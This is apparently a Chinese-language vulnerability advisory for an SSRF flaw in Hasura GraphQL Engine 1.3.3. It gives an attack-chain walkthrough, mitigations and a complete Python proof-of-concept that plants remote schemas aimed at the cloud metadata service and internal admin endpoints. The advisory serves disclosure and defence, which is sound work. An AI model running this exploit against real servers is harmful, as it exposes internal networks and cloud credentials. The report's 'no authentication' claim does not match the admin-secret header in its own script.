IPBUF安全漏洞报告
English
CVE-2021-47715 CVSS 5.3 中危

CVE-2021-47715 Hasura GraphQL 服务器端请求伪造漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2021-47715
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hasura GraphQL Engine

相关标签

服务器端请求伪造SSRFHasura GraphQLCVE-2021-47715远程代码执行内网渗透API安全GraphQL安全

漏洞概述

CVE-2021-47715是Hasura GraphQL Engine 1.3.3版本中存在的一个服务器端请求伪造(Server-Side Request Forgery,SSRF)漏洞。该漏洞源于add_remote_schema端点对用户提供的远程模式URL缺乏充分的验证和过滤。攻击者可以通过向/v1/query端点发送精心构造的POST请求,在URL定义中注入恶意的远程服务器地址,从而迫使GraphQL引擎向攻击者指定的任意URL发起请求。

利用此漏洞,攻击者可以扫描和访问内部网络资源,包括内部服务、数据库、API接口等敏感系统组件。由于漏洞利用无需认证,攻击者可以在未登录的情况下直接发起攻击,大大降低了利用门槛。此外,攻击者还可以利用Hasura服务器作为代理,对内部网络中的其他服务发起进一步攻击,实现内网横移。

该漏洞的危险性在于它能够绕过网络边界防护,将Hasura服务器转化为攻击内网的跳板。攻击者不仅可以读取服务器响应内容,还可能通过精心设计的请求触发进一步的安全问题。鉴于Hasura GraphQL在现代微服务架构中的广泛应用,此漏洞可能影响大量使用该产品的企业级应用。

技术细节

Hasura GraphQL Engine的/v1/query API端点提供了add_remote_schema功能,允许用户动态添加远程GraphQL模式。在处理远程模式URL时,系统会向指定的URL发起HTTP请求以获取模式定义。然而,该功能在实现时存在以下安全问题:

1. **URL验证缺失**:系统未对用户提供的远程URL进行严格的域名或IP验证,允许攻击者指定任意URL,包括内网IP地址(如192.168.x.x、10.x.x.x)和localhost。

2. **请求处理流程**:攻击者发送的恶意请求格式如下:POST /v1/query,包含JSON payload,其中定义了带有恶意URL的远程模式配置。服务器在处理该请求时,会直接使用攻击者提供的URL发起HTTP GET请求。

3. **响应处理**:服务器将获取的响应内容用于后续的模式解析和合并操作。攻击者可以通过搭建恶意服务器返回精心构造的响应,实现对服务器行为的进一步控制。

4. **利用场景**:攻击者可以利用此漏洞访问云元数据服务(如AWS 169.254.169.254)、内部管理接口、数据库连接等敏感资源。

攻击链分析

STEP 1
步骤1
攻击者识别目标环境中运行的Hasura GraphQL Engine实例,确认版本为1.3.3或更早版本
STEP 2
步骤2
攻击者构造恶意的add_remote_schema请求,将URL指向内网资源(如169.254.169.254云元数据服务、内部API接口等)
STEP 3
步骤3
攻击者向目标服务器的/v1/query端点发送精心构造的POST请求,包含恶意URL定义
STEP 4
步骤4
Hasura服务器在处理请求时,向攻击者指定的恶意URL发起HTTP请求,绕过防火墙访问内部资源
STEP 5
步骤5
攻击者接收到服务器代理请求的响应,获取敏感信息(如云凭证、内部数据等)
STEP 6
步骤6
利用获取的凭证或信息,攻击者可以进一步横向移动或提权,控制更多内部系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2021-47715 PoC - Hasura GraphQL SSRF via Remote Schema Injection # Target: Hasura GraphQL Engine <= 1.3.3 target_url = "http://target-server:8080/v1/query" # Malicious payload for SSRF attack # This payload injects a crafted remote schema URL pointing to internal resources payload = { "type": "add_remote_schema", "args": { "name": "malicious_schema", "definition": { "url": "http://169.254.169.254/latest/meta-data/", # AWS metadata service "headers": { "Authorization": "{{metadata_token}}" }, "timeout_seconds": 10 }, "comment": "Injected malicious remote schema for SSRF exploitation" } } # Alternative payload targeting internal services payload_internal = { "type": "add_remote_schema", "args": { "name": "internal_probe", "definition": { "url": "http://internal-admin.local:8080/admin/api", "timeout_seconds": 5 } } } def exploit_ssrf(target, payload): """Send malicious request to exploit SSRF vulnerability""" headers = { "Content-Type": "application/json", "X-Hasura-Admin-Secret": "" # Add admin secret if required } try: response = requests.post(target, json=payload, headers=headers, timeout=30) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("[*] Exploiting CVE-2021-47715: Hasura GraphQL SSRF") exploit_ssrf(target_url, payload)

影响范围

Hasura GraphQL Engine < 1.3.3
Hasura GraphQL Engine 1.3.3

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制Hasura服务器的出站网络访问,阻止对内网IP段和云元数据IP的访问;2)对/v1/query API端点强制实施认证机制,防止未授权访问;3)通过Web应用防火墙(WAF)规则限制add_remote_schema请求中的URL参数;4)监控Hasura服务的异常出站请求日志,及时发现SSRF攻击行为;5)考虑使用网络隔离策略,将Hasura部署在受限的网络区域。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表